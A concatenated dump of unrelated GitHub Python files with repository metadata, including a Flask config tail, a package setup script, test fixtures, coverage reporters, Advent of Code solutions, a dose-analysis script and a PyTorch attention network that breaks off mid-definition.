app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///' + dbfile\n app.config['SQLALCHEMY_COMMIT_ON_TEARDOWN']= True\n app.config['SQLALCHEMY_TRACK_MODIFICATIONS']= False\n app.config['SECRET_KEY'] = \"secretkey123123123\"\n app.config['WTF_CSRF_SECRET_KEY'] = \"secretkey123123123\"\n\n db.init_app(app)\n db.app = app\n db.create_all()\n\n app.run(host='127.0.0.1', port=5000, debug=True)\n","repo_name":"jumpx2/jejudo_project","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"7316056080","text":"import sys\nfrom setuptools import setup\n\n\nwith open('requirements.txt') as fid:\n install_requires = [l.strip() for l in fid.readlines() if l]\n\nwith open('README.md') as fh:\n long_description = fh.read()\n\nsetup(\n name = 'babypandas',\n packages = ['babypandas'],\n version = '0.1.9',\n setup_requires=['pytest-runner'],\n install_requires = install_requires,\n tests_require = ['pytest'],\n description = 'A restricted Pandas API',\n long_description = long_description,\n long_description_content_type=\"text/markdown\",\n author = 'Aaron Fraenkel, Darren Liu',\n author_email = 'afraenkel@ucsd.edu',\n url = 'https://github.com/afraenkel/babypandas'\n)\n","repo_name":"babypandas-dev/babypandas","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"5"} +{"seq_id":"70243712153","text":"import sys\n\nfrom codecs import encode\nfrom datetime import datetime, timedelta, timezone\nfrom lighter import settings\nfrom lighter.macaroons import get_baker, MACAROONS, MAC_VERSION\n\nthis = sys.modules[__name__]\n\nMACAROONS_STORE = {\n settings.MAC_ADMIN: 'ADMIN_MAC',\n settings.MAC_READONLY: 'READ_MAC',\n settings.MAC_INVOICES: 'INVOICES_MAC'\n}\n\nADMIN_MAC = ''\nREAD_MAC = ''\nINVOICES_MAC = ''\n\n\ndef create_lightning_macaroons(root_key):\n baker = get_baker(root_key)\n for file_name, permitted_ops in MACAROONS.items():\n expiration_time = datetime.now(tz=timezone.utc) + timedelta(days=365)\n caveats = None\n mac = baker.oven.macaroon(\n MAC_VERSION, expiration_time, caveats, permitted_ops)\n serialized_macaroon = mac.macaroon.serialize()\n setattr(this, MACAROONS_STORE[file_name],\n encode(serialized_macaroon.encode(), 'hex'))\n","repo_name":"bluebindu/lighter","sub_path":"tests/fixtures_macaroons.py","file_name":"fixtures_macaroons.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"43219625961","text":"from collections import namedtuple\nfrom tabulate import tabulate\n\nrow_attributes = \"filename total_instructions total_hits total_misses instruction_rate\"\nfile_row = namedtuple(\"FileRowMissed\", row_attributes)\n\n\nclass CheckedInstructionReporter:\n def __init__(self, project_coverage, packages_coverage, files_coverage):\n self.project_coverage = project_coverage\n self.packages_coverage = packages_coverage\n self.files_coverage = files_coverage\n\n def get_report_lines(self):\n lines = []\n\n for file in self.files_coverage:\n row = file_row(\n self.files_coverage[file].relative_path,\n self.total_instructions(file),\n self.covered_instructions(file),\n self.missed_instructions(file),\n self.instruction_rate(file),\n )\n lines.append(row)\n\n footer = file_row(\n \"TOTAL\",\n self.total_instructions(),\n self.covered_instructions(),\n self.missed_instructions(),\n self.instruction_rate(),\n )\n lines.append(footer)\n\n return lines\n\n def total_instructions(self, file=None):\n if file:\n return len(self.files_coverage[file].instructions)\n else:\n total = 0\n for file in self.files_coverage:\n total += len(self.files_coverage[file].instructions)\n return total\n\n def covered_instructions(self, file=None):\n if file:\n return len(self.files_coverage[file].covered_instructions)\n else:\n total_covered = 0\n for file in self.files_coverage:\n total_covered += len(self.files_coverage[file].covered_instructions)\n return total_covered\n\n def missed_instructions(self, file=None):\n if file:\n num_missed = len(self.files_coverage[file].instructions) - \\\n len(self.files_coverage[file].covered_instructions)\n return num_missed\n else:\n total_missed = 0\n for file in self.files_coverage:\n num_missed = len(self.files_coverage[file].instructions) - \\\n len(self.files_coverage[file].covered_instructions)\n total_missed += num_missed\n return total_missed\n\n def instruction_rate(self, file=None):\n if file:\n total = self.total_instructions(file)\n covered = self.covered_instructions(file)\n\n try:\n instruction_coverage = covered / total\n except ZeroDivisionError:\n instruction_coverage = 0\n\n return instruction_coverage\n else:\n total = self.total_instructions()\n covered = self.covered_instructions()\n\n try:\n instruction_coverage = covered / total\n except ZeroDivisionError:\n instruction_coverage = 0\n\n return instruction_coverage\n\n\nclass CheckedTextInstructionReporter(CheckedInstructionReporter):\n def generate(self):\n lines = self.get_report_lines()\n\n formatted_lines = []\n for row in lines:\n filename, total_instructions, total_hits, total_misses, instruction_rate = row\n instruction_rate = \"%.2f%%\" % (instruction_rate * 100)\n formatted_lines.append(file_row(filename, total_instructions, total_hits, total_misses, instruction_rate))\n\n report = tabulate(\n formatted_lines, headers=[\"Filename\", \"Instructions\", \"Hits\", \"Misses\", \"Instruction Rate\"]\n )\n\n return report\n\n\nclass CheckedCsvInstructionReporter(CheckedInstructionReporter):\n def generate(self):\n lines = self.get_report_lines()\n\n formatted_lines = []\n for row in lines:\n filename, total_instructions, total_hits, total_misses, instruction_rate = row\n instruction_rate = \"%.2f%%\" % (instruction_rate * 100)\n formatted_lines.append(file_row(filename, total_instructions, total_hits, total_misses, instruction_rate))\n\n # Header\n report = [\"Filename, Instructions, Hits, Misses, Covered\\n\"]\n\n for row in formatted_lines:\n report.append(\"{}, {}, {}, {}, {}\\n\".format(row[0], row[1], row[2], row[3], row[4]))\n\n return report\n","repo_name":"IPSW1/pyChecco","sub_path":"pyChecco/report/instruction_reporters.py","file_name":"instruction_reporters.py","file_ext":"py","file_size_in_byte":4354,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"5"} +{"seq_id":"13809637979","text":"chars = [\".\", \"|\", \"#\"]\nparse = dict((c, i) for i, c in enumerate(chars))\nOPEN = parse[\".\"]\nTREES = parse[\"|\"]\nYARD = parse[\"#\"]\n\ndef print_board(board):\n for line in board:\n for cell in line:\n print(chars[cell], end=\"\")\n print()\n print()\n\ndef safe_get(board, x, y):\n if 0 <= y < len(board) and 0 <= x < len(board[y]): return board[y][x]\n return OPEN\n\ndef calc_square(board, x, y):\n trees, yards = 0, 0\n for yy in range(y-1, y+2):\n for xx in range(x-1, x+2):\n if x == xx and y == yy: continue\n neighbor = safe_get(board, xx, yy)\n if neighbor == TREES: trees += 1\n elif neighbor == YARD: yards += 1\n square = board[y][x]\n if square == OPEN and trees >= 3: return TREES\n if square == TREES and yards >= 3: return YARD\n if square == YARD and (trees == 0 or yards == 0): return OPEN\n return square\n\n\nwith open(\"day18input.txt\") as file:\n board = tuple(tuple(parse[c] for c in line.strip()) for line in file)\n\ncache = dict()\nreverse_cache = []\n\n#generations = 10\ngenerations = 1000000000\ni = 0\nwhile i < generations:\n if i % 100 == 0:\n print(i)\n print_board(board)\n if board in cache:\n previous = cache[board]\n print(\"repeated board at\", i, \"from\", previous)\n diff = i - previous\n victim = (generations - previous) % diff + previous\n board = reverse_cache[victim]\n break\n cache[board] = i\n reverse_cache.append(board)\n board = tuple(tuple(calc_square(board, x, y) for x, _ in enumerate(line)) for y, line in enumerate(board))\n i += 1\n\nprint(generations)\nprint_board(board)\ntrees = sum(1 for row in board for square in row if square == TREES)\nyards = sum(1 for row in board for square in row if square == YARD)\nprint(trees, yards, trees*yards)","repo_name":"Zahariel/adventofcode","sub_path":"2018/18/day18.py","file_name":"day18.py","file_ext":"py","file_size_in_byte":1823,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"70009375191","text":"import numpy\nfrom itertools import islice\n\nm = int(input(\"\\nPlease key in the number to be added to the matrix: \"))\n\nnoma = int(input(\"\\nPlease key in the number to be maximum: \"))\n\nbnote = [[1,2,3],[3,4,5],[1,6,7],[2,4,6],[2,5,7],[3,4,7],[3,5,6]]\n\ndef chunk(it, size):\n it = iter(it)\n return iter(lambda: tuple(islice(it, size)), ())\n\ndef matrix():\n #n = int(input(\"\\nPlease key in the number of columns: \"))\n bnote = [[1,2,3],[3,4,5],[1,6,7],[2,4,6],[2,5,7],[3,4,7],[3,5,6]]\n #noma = int(input(\"\\nPlease key in the number to be maximum: \"))\n i = 1\n while True:\n print(\"\\nThis is the matrix number %d: \" %(i))\n #print(bnote)\n print(numpy.array(bnote))\n i += 1\n bnote = numpy.array(bnote) + m\n bnote = bnote.tolist()\n #print(bnote)\n for item in bnote:\n for i,number in enumerate(item):\n if number >m:\n item[i] = number - m\n #print(bnote)\n \"\"\"\n for item in bnote:\n for i,number in enumerate(item):\n if number>noma:\n item[i] = number - m\n \"\"\"\n if i == 10:\n break\n #return bnote\nmatrix()\n","repo_name":"felexkemboi/4thProject","sub_path":"deb.py","file_name":"deb.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"9192390354","text":"names = []\nwhile True:\n try:\n name = input(\"Name: \")\n names.append(name)\n except EOFError:\n print()\n print(\"Adieu, adieu, to \", end=\"\")\n if len(names) == 1:\n print(names[0])\n elif len(names) == 2:\n print(names[0], \"and\", names[1])\n else:\n for name in names:\n if name == names[len(names)-1]:\n print(\"and\", name )\n else:\n print(name + \", \", end=\"\")\n break","repo_name":"brunopistarino/CS50","sub_path":"CS50p - 2022/Problem Set 4/adieu/adieu.py","file_name":"adieu.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"13782210737","text":"\n\n\nif __name__ == '__main__':\n from get_data import XmlData\n from dataset_converter import AlternativeXml, AssignXml, CategoriesXml, CriteriaXml, ParamXml, PerfTableXml, CppXmlDataGenerator \n from model_converter import CatProfilesXml, CompatibleAltsXml, CritWeightsXml, LambdaXml, PerfTableXml, CppXmlModelGenerator\n import os\n \n data_path = \"./pymcda/ws/LearnMRSortMeta/tests/\"\n \n #for data\n for filename in os.listdir(data_path):\n if filename.startswith(\"in\") and filename != \"in6\" :\n \n filepath = data_path + \"/\" +filename + \"/alternatives.xml\"\n filepath2 = data_path + \"/\" +filename + \"/assign.xml\"\n filepath3 = data_path + \"/\" +filename + \"/categories.xml\"\n filepath4 = data_path + \"/\" +filename + \"/criteria.xml\"\n filepath5 = data_path + \"/\" +filename + \"/perfs_table.xml\"\n \n xml = XmlData(filepath)\n xml.parse_data()\n alt = AlternativeXml(xml.raw_data)\n \n xml2 = XmlData(filepath2)\n xml2.parse_data()\n assig = AssignXml(xml2.raw_data)\n cat_assignment = assig.get_dic_altid_to_cat()\n \n xml3 = XmlData(filepath3)\n xml3.parse_data()\n cat = CategoriesXml(xml3.raw_data)\n categories = cat.get_dic_id_to_rank()\n \n xml4 = XmlData(filepath4)\n xml4.parse_data()\n crit = CriteriaXml(xml4.raw_data)\n criteria = crit.get_criterion_id()\n \n from dataset_converter import PerfTableXml\n xml5 = XmlData(filepath5)\n xml5.parse_data()\n perf = PerfTableXml(xml5.raw_data)\n pert_table_data = perf.create_dic_values()\n\n # print('filename : ', filename, '\\n')\n # print(\"nb of alt : \", len(pert_table_data), '\\n')\n # print(\"perftable\", pert_table_data, '\\n')\n # print(\"cat_assignment\", cat_assignment, '\\n')\n # print(\"criteria\", criteria, '\\n')\n # print(\"categories\", categories, '\\n')\n # print(' -------------- \\n')\n \n #create xml files for c++\n gen = CppXmlDataGenerator(pert_table_data, cat_assignment, categories, \"data/\" + filename + 'dataset.xml')\n gen.create_xml()\n \n \n for filename in os.listdir(data_path):\n if filename.startswith(\"out\") and filename != \"out6\" and filename !=\"out5\":\n filepath = data_path +filename + \"/cat_profiles.xml\"\n filepath2 = data_path +filename + \"/compatible_alts.xml\"\n filepath3 = data_path +filename + \"/crit_weights.xml\"\n filepath4 = data_path +filename + \"/lambda.xml\"\n filepath5 = data_path +filename + \"/profiles_perfs.xml\"\n \n xml = XmlData(filepath)\n xml.parse_data()\n alt = CatProfilesXml(xml.raw_data)\n cat_prof_name= alt.get_cat_profiles_name()\n \n xml2 = XmlData(filepath2)\n xml2.parse_data()\n comp = CompatibleAltsXml(xml2.raw_data)\n \n xml3 = XmlData(filepath3)\n xml3.parse_data()\n crit = CritWeightsXml(xml3.raw_data)\n criteria = crit.get_criteria_ids()\n criteria_weights = crit.get_criteria_weight()\n \n xml4 = XmlData(filepath4)\n xml4.parse_data()\n lamb = LambdaXml(xml4.raw_data)\n ldba = lamb.get_lambda()\n \n xml5 = XmlData(filepath5)\n xml5.parse_data()\n prof = PerfTableXml(xml5.raw_data)\n prof_table_data = prof.create_dic_values()\n \n print(\"filename :\", filename)\n print(\"prof_table\", prof_table_data)\n print(\"lmabda\", ldba)\n print(\"criteria\", criteria)\n print(\"criteria weigths\", criteria_weights)\n print(\"cat prof name\", cat_prof_name, '\\n\\n')\n \n #create xml files for c++\n gen = CppXmlModelGenerator(prof_table_data, ldba, criteria, criteria_weights ,cat_prof_name, \"data/\" + filename + 'model.xml')\n gen.create_xml()\n gen.create_xml_mode_crit()","repo_name":"thibmonsel/Convert_PYMCDA","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"16398235829","text":"import sys\nimport unittest\n\n# Import suites to run.\nfrom API.APITest import APITest\n\n\n# Define the test suite.\ndef suite():\n suites = [\n unittest.makeSuite(APITest),\n ]\n\n return unittest.TestSuite(suites)\n\n\n# Run the top level suite and return a success status code.\n# This enables running an automated git-bisect.\nif __name__ == \"__main__\":\n\n result = unittest.TextTestRunner(verbosity=2).run(suite())\n\n if result.wasSuccessful():\n print('---> OK <---')\n sys.exit(0)\n\n sys.exit(1)\n","repo_name":"openPMD/openPMD-api","sub_path":"test/python/unittest/Test.py","file_name":"Test.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","stars":122,"dataset":"github-code","pt":"5"} +{"seq_id":"41862991709","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Oct 10 14:43:04 2019\n\n@author: danieldcecchi\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\nimport sys\n\n#pulls the raw data to create the scintillator\n\n\ndef scintillator(raw_data_scint,input_file):\n #makes the scintillator data into a 3D array.\n for row in raw_data_scint:\n r = np.array(list(row)).astype(int)\n try:\n matrix1 = np.vstack((r,matrix1))\n except NameError:\n matrix1 = r\n\n #Creates a 3D array of the scintillator\n n = 40\n n_matrices = int(raw_data_scint.shape[0] / n)\n scint = matrix1.reshape(n,n_matrices,n)\n scint = np.flip(scint,1)\n # #finds the location of all the '2's\n twolocs = np.argwhere(scint == 2)\n\n #[matrix,row,column]\n # #Grabs the dose data and puts into a 3 by 3 array.\n raw_data_dose = open(input_file)\n lines = raw_data_dose.readlines()\n a = []\n b = np.zeros(len(lines), dtype = 'object')\n j = 0\n for line in lines:\n a = [float(i) for i in line.split()]\n \n b[j] = a\n j+=1\n\n #grabs dose and uncertainty data\n dose_column = np.array(b[4])\n unc_column = np.array(b[5])\n\n for i in range(len(dose_column)):\n unc_column[i] = unc_column[i]*dose_column[i]\n dose_data = dose_column.reshape(n,n_matrices,n)\n unc_data = unc_column.reshape(n,n_matrices,n)\n dose_scint = []\n unc_scint = []\n for i in range(len(twolocs)):\n dose_scint.append(dose_data[twolocs[i][0]][twolocs[i][1]][twolocs[i][2]])\n\n\n for i in range(len(twolocs)):\n unc_scint.append(unc_data[twolocs[i][0]][twolocs[i][1]][twolocs[i][2]])\n\n avgdose = np.mean(dose_scint)\n avgunc = np.mean(unc_scint)\n\n #print('The mean dose measured by the scintillator is: ' + str(avgdose))\n\n return avgdose, avgunc\n\n\n\nif __name__ == \"__main__\":\n directory = '/Users/danieldcecchi/2019fallresearch/xray_sim/DataFiles/'\n raw_data_scint = np.loadtxt(directory + 'scintillator_new.txt', dtype = 'str', \\\n skiprows = 16,max_rows = 160,usecols = 0)\n input_files = []\n emax = 120\n emin = 80\n steps = 20\n nrgrange = [i for i in range(emin,emax+steps,steps)]\n #puts all the files into a list\n \n for i in range(emin,emax+steps,steps):\n for filename in os.listdir(directory):\n if f'{i}keV' in filename:\n input_files.append(directory + filename)\n else:\n continue\n emin+=steps\n\n m = int(len(input_files)/(3))\n n = int(len(nrgrange))\n data_files = [[0] * m for i in range(n)]\n nrg_index = 0\n dose_at_d = [[0] * m for i in range(n)]\n unc_at_d = [[0] * m for i in range(n)]\n #filters the list so that it creates a new list for each specific energy\n for j in range(80,140,20):\n d_index = 0\n \n for i in range(len(input_files)):\n if f'{j}' in input_files[i]:\n data_files[nrg_index][d_index] = input_files[i]\n \n d_index+=1\n else:\n continue\n nrg_index +=1\n \n dose_index=0\n max_distance = 1\n # max_distance = float(max_distance)\n # if max_distance < 1:\n # max_distance = int(float(str(max_distance-int(max_distance))[-1:]))\n # else:\n # max_distance = int(max_distance)\n\n for i in range(n):\n\n data_files[i].sort(key=lambda f: int(''.join(filter(str.isdigit, f))))\n for j in range(max_distance):\n dose, uncertainty = scintillator(raw_data_scint,data_files[i][j])\n dose_at_d[i][j] = dose\n unc_at_d[i][j] = uncertainty\n dose_at_d = np.array(dose_at_d)\n unc_at_d = np.array(unc_at_d)/np.sqrt(316)\n distances = [i for i in range(1,max_distance + 1)]\n\n plt.plot(nrgrange,dose_at_d,'o',label='Energy')\n for i in range(len(dose_at_d)):\n plt.text(nrgrange[i],dose_at_d[i], f'{dose_at_d[i]}')\n \n plt.errorbar(nrgrange,dose_at_d, yerr = unc_at_d,capsize = 10,barsabove = True,fmt = 'none',label = 'Error')\n plt.xlabel('Energy [KeV]')\n plt.ylabel('Dose')\n plt.legend()\n plt.show()\n\n\n # un-comment here if you want a Dose vs Distance graph.\n # distances = [i for i in range(1,max_distance + 1)]\n # for i in range(n):\n # plt.plot(distances,dose_at_d[i],label=f'{nrgrange[i]}keV',marker = '.')\n # plt.errorbar(distances,dose_at_d[i], yerr = unc_at_d[i],capsize = 10,barsabove = True,fmt = 'none',label = 'Error')\n\n # plt.xlabel('Distance From X-Ray Source [cm]')\n # plt.ylabel('Measured Dose [units]')\n # plt.title('Dosage vs. Distance')\n # plt.legend(loc='best')\n # plt.show()\n\n\n\n\n\n\n\n\n","repo_name":"danieldcecchi/XRay_Sim","sub_path":"src/Scintillator_Dose_Analysis.py","file_name":"Scintillator_Dose_Analysis.py","file_ext":"py","file_size_in_byte":4684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"18922650187","text":"file1 = open('input.txt', 'r')\nLines = file1.readlines()\n\ncount = 0\npoints = 0\ntotal_points = 0\nbatch_points = 0\ngroup = []\n\n# Strips the newline character\nfor line in Lines:\n\tcount += 1\n\tgroup.append(line)\n\tlength = len(line.strip())\n\tborder = int((length)/2)\n\tpart1 = line[0:border]\n\tpart2 = line.strip()[border:]\n\tsame_character = ''\n\tfor character in part1:\n\t\tif character in part2:\n\t\t\tprint(character)\n\t\t\tif character.islower():\n\t\t\t\tprint(ord(character)-96)\n\t\t\t\ttotal_points += (ord(character)-96)\n\t\t\telse:\n\t\t\t\tprint(ord(character)-38)\n\t\t\t\ttotal_points += (ord(character)-38)\n\t\t\tbreak\n\tprint(\"Line{}: {}, len: {}, part1: {}, part2: {}\".format(count, line.strip(),length, part1, part2))\n\tif len(group) == 3:\n\t\tfor character in group[0]:\n\t\t\tif character in group[1] and character in group[2]:\n\t\t\t\tif character.islower():\n\t\t\t\t\tprint(ord(character)-96)\n\t\t\t\t\tbatch_points += (ord(character)-96)\n\t\t\t\telse:\n\t\t\t\t\tprint(ord(character)-38)\n\t\t\t\t\tbatch_points += (ord(character)-38)\n\t\t\t\tgroup = []\n\t\t\t\tbreak\n\nprint(\"total_points: {}\".format(total_points))\nprint(\"batch_points: {}\".format(batch_points))\n","repo_name":"Francisde/advent-Of-Code-2022","sub_path":"day_03/task_03.py","file_name":"task_03.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"74233109911","text":"import datetime\nfrom functools import partial\nfrom operator import is_not\nimport copy\nimport requests\n\nimport account\nimport cobrand\nimport user\nfrom database import save_transactions\n\n\ndef transform(username, transaction_entries, accounts_dict):\n def transform_transaction(t):\n account_id = t['accountId']\n if 'runningBalance' not in t:\n return\n balance = '{}$'.format(t['runningBalance']['amount'])\n timestamp = timestamp_transform(t['lastUpdated'])\n amount = '{}$'.format(t['amount']['amount'])\n account_name = accounts_dict[account_id].name\n account_number = accounts_dict[account_id].number\n transaction_type = t['baseType'].lower()\n return {\n \"userId\": username,\n \"account\": account_number,\n \"type\": transaction_type,\n \"bank\": account_name,\n \"balance\": balance,\n \"amount\": amount,\n \"timeStamp\": timestamp.strftime('%Y-%m-%d %H-%M-%S'),\n \"date\": str(timestamp.day),\n \"month\": str(timestamp.month),\n \"year\": str(timestamp.year)\n }\n\n timestamp_transform = lambda t: datetime.datetime.strptime(t, \"%Y-%m-%dT%H:%M:%SZ\")\n transformed_transactions = list(filter(partial(is_not, None), map(transform_transaction, transaction_entries)))\n save_transactions(copy.deepcopy(transformed_transactions))\n return transformed_transactions\n\n\ndef transactions(username, password, from_date):\n user_session = user.session(username, password)\n accounts_dict = account.accounts(user_session)\n transactions_url = '{}/transactions'.format(cobrand.host)\n headers = {\n 'Content-Type': 'application/json',\n 'Api-Version': '1.1',\n 'Cobrand-Name': cobrand.name,\n 'Authorization': 'cobSession={},userSession={}'.format(cobrand.session, user_session)\n }\n query_string = {\"fromDate\": from_date}\n response = requests.get(transactions_url, headers=headers, params=query_string)\n response_json = response.json()\n transaction_entries = response_json['transaction']\n return transform(username, transaction_entries, accounts_dict)\n","repo_name":"abhisheksp/money2020-hack-2018","sub_path":"transactions.py","file_name":"transactions.py","file_ext":"py","file_size_in_byte":2162,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"5"} +{"seq_id":"43383379621","text":"import torch\nfrom torch import nn\nfrom torchsummary import summary\nimport math\nimport time\nimport numpy as np\nimport torch.nn.functional as F\n\n# 3407 21.5\nseed = 10\ntorch.manual_seed(seed)\ntorch.cuda.manual_seed(seed)\ntorch.cuda.manual_seed_all(seed)\nnp.random.seed(seed)\ntorch.backends.cudnn.deterministic = True\ntorch.backends.cudnn.benchmark = False\n\n\nclass SpatialAttention(nn.Module):\n def __init__(self, kernel_size=7):\n super(SpatialAttention, self).__init__()\n assert kernel_size in (3, 7), 'kernel size must be 3 or 7'\n padding = 3 if kernel_size == 7 else 1\n # self.conv1 = nn.Conv2d(2, 1, kernel_size, padding=padding, bias=False)\n # self.conv2 = nn.Conv2d(4, 1, kernel_size, padding=padding, bias=False)\n # self.sigmoid = nn.Sigmoid()\n self.conv2d = nn.Conv2d(in_channels=2, out_channels=1, kernel_size=3, stride=1, padding=1)\n self.sigmoid = nn.Sigmoid()\n\n def forward(self, x): # x.size() 30,40,50,30\n # avg_out = torch.mean(x, dim=1, keepdim=True)\n # max_out, _ = torch.max(x, dim=1, keepdim=True) # 30,1,50,30\n # x = torch.cat([avg_out, max_out], dim=1)\n # x = self.conv1(x)\n # # x = self.conv2(x)\n # return self.sigmoid(x)\n avgout = torch.mean(x, dim=1, keepdim=True)\n maxout, _ = torch.max(x, dim=1, keepdim=True)\n out = torch.cat([avgout, maxout], dim=1)\n out = self.sigmoid(self.conv2d(out))\n return out\n\n\n# (1)通道注意力机制\nclass channel_attention(nn.Module):\n # ratio代表第一个全连接的通道下降倍数\n def __init__(self, in_channel, ratio=4):\n super().__init__()\n\n # 全局最大池化 [b,c,h,w]==>[b,c,1,1]\n self.max_pool = nn.AdaptiveMaxPool2d(output_size=1)\n # 全局平均池化 [b,c,h,w]==>[b,c,1,1]\n self.avg_pool = nn.AdaptiveAvgPool2d(output_size=1)\n\n # 第一个全连接层, 通道数下降4倍(可以换成1x1的卷积,效果相同)\n self.fc1 = nn.Linear(in_features=in_channel, out_features=in_channel // ratio, bias=False)\n # 第二个全连接层, 恢复通道数(可以换成1x1的卷积,效果相同)\n self.fc2 = nn.Linear(in_features=in_channel // ratio, out_features=in_channel, bias=False)\n\n # relu激活函数\n self.relu = nn.ReLU()\n\n # sigmoid激活函数\n self.sigmoid = nn.Sigmoid()\n\n # 前向传播\n def forward(self, inputs):\n b, c, h, w = inputs.shape\n\n # 输入图像做全局最大池化 [b,c,h,w]==>[b,c,1,1]\n max_pool = self.max_pool(inputs)\n\n # 输入图像的全局平均池化 [b,c,h,w]==>[b,c,1,1]\n avg_pool = self.avg_pool(inputs)\n\n # 调整池化结果的维度 [b,c,1,1]==>[b,c]\n max_pool = max_pool.view([b, c])\n avg_pool = avg_pool.view([b, c])\n\n # 第一个全连接层下降通道数 [b,c]==>[b,c//4]\n\n x_maxpool = self.fc1(max_pool)\n x_avgpool = self.fc1(avg_pool)\n\n # 激活函数\n x_maxpool = self.relu(x_maxpool)\n x_avgpool = self.relu(x_avgpool)\n\n # 第二个全连接层恢复通道数 [b,c//4]==>[b,c]\n # (可以换成1x1的卷积,效果相同)\n x_maxpool = self.fc2(x_maxpool)\n x_avgpool = self.fc2(x_avgpool)\n\n # 将这两种池化结果相加 [b,c]==>[b,c]\n x = x_maxpool + x_avgpool\n\n # sigmoid函数权值归一化\n x = self.sigmoid(x)\n\n # 调整维度 [b,c]==>[b,c,1,1]\n x = x.view([b, c, 1, 1])\n\n # 输入特征图和通道权重相乘 [b,c,h,w]\n outputs = inputs * x\n\n return outputs\n\n\n# (2)空间注意力机制\nclass spatial_attention(nn.Module):\n # 卷积核大小为7*7\n def __init__(self, kernel_size=7):\n super().__init__()\n\n # 为了保持卷积前后的特征图shape相同,卷积时需要padding\n padding = kernel_size // 2\n\n # 7*7卷积融合通道信息 [b,2,h,w]==>[b,1,h,w]\n self.conv = nn.Conv2d(in_channels=2, out_channels=1, kernel_size=kernel_size,\n padding=padding, bias=False)\n # sigmoid函数\n self.sigmoid = nn.Sigmoid()\n\n # 前向传播\n def forward(self, inputs):\n # 在通道维度上最大池化 [b,1,h,w] keepdim保留原有深度\n # 返回值是在某维度的最大值和对应的索引\n x_maxpool, _ = torch.max(inputs, dim=1, keepdim=True)\n\n # 在通道维度上平均池化 [b,1,h,w]\n x_avgpool = torch.mean(inputs, dim=1, keepdim=True)\n # 池化后的结果在通道维度上堆叠 [b,2,h,w]\n x = torch.cat([x_maxpool, x_avgpool], dim=1)\n\n # 卷积融合通道信息 [b,2,h,w]==>[b,1,h,w]\n x = self.conv(x)\n\n # 空间权重归一化\n x = self.sigmoid(x)\n\n # 输入特征图和空间权重相乘\n outputs = inputs * x\n\n return outputs\n\n\nclass DualNet3(nn.Module):\n def __init__(self, isTest=False):\n super(DualNet3, self).__init__()\n self.conv1_1 = nn.Conv2d(12, 16, kernel_size=3, padding=1)\n self.conv1_2 = nn.Conv2d(16, 16, kernel_size=3, padding=1)\n self.conv1_3 = nn.Conv2d(16, 16, kernel_size=3, padding=1)\n\n self.conv2_1 = nn.Conv2d(1, 16, kernel_size=3, padding=1)\n self.conv2_2 = nn.Conv2d(16, 16, kernel_size=3, padding=1)\n self.conv2_3 = nn.Conv2d(16, 16, kernel_size=3, padding=1)\n\n self.relu = nn.ReLU()\n self.drop = nn.Dropout(0.20)\n self.fc1 = nn.Linear(9 * 9 * 16, 1)\n self.flatten = nn.Flatten()\n self.sigmoid = nn.Sigmoid()\n\n self.weight_level_0 = add_fc(2)\n self.radius = 2\n self.sa1 = SpatialAttention()\n self.sa2 = SpatialAttention()\n\n def forward(self, x):\n x1 = x[:, :-3, :, :]\n x2 = x[:, -1, :, :]\n x2 = torch.unsqueeze(x2, 1)\n x3 = x[:, -3:-1, self.radius, self.radius]\n\n w1 = self.sa1(x1)\n x1 = w1 * x1\n out1 = self.relu(self.conv1_1(x1))\n out1 = self.relu(self.conv1_2(out1))\n out1 = self.relu(self.conv1_3(out1))\n # out1 = self.sa1(out1) * out1\n # out1 = self.drop(out1)\n out1 = self.flatten(out1)\n\n w2 = self.sa2(x2)\n x2 = w2 * x2\n out2 = self.relu(self.conv2_1(x2))\n out2 = self.relu(self.conv2_2(out2))\n out2 = self.relu(self.conv2_3(out2))\n # out2 = self.sa2(out2) * out2\n # out2 = self.drop(out2)\n out2 = self.flatten(out2)\n\n levels_weight = self.weight_level_0(x3)\n levels_weight = F.softmax(levels_weight, dim=1)\n\n out = out1 * levels_weight[:, 0: 1] + out2 * levels_weight[:, 1: 2]\n out = self.drop(out)\n out = self.fc1(out)\n out = self.sigmoid(out)\n\n return out\n\n\ndef add_conv(in_ch, out_ch, ksize, stride):\n \"\"\"\n Add a conv2d / batchnorm / leaky ReLU block.\n Args:\n in_ch (int): number of input channels of the convolution layer.\n out_ch (int): number of output channels of the convolution layer.\n ksize (int): kernel size of the convolution layer.\n stride (int): stride of the convolution layer.\n Returns:\n stage (Sequential) : Sequential layers composing a convolution block.\n \"\"\"\n stage = nn.Sequential()\n pad = (ksize - 1) // 2\n stage.add_module('conv', nn.Conv2d(in_channels=in_ch,\n out_channels=out_ch, kernel_size=ksize, stride=stride,\n padding=pad, bias=False))\n stage.add_module('batch_norm', nn.BatchNorm2d(out_ch))\n # stage.add_module('leaky', nn.LeakyReLU(0.1))\n stage.add_module('relu', nn.ReLU())\n return stage\n\n\ndef add_fc(in_ch):\n stage = nn.Sequential()\n stage.add_module('fc1', 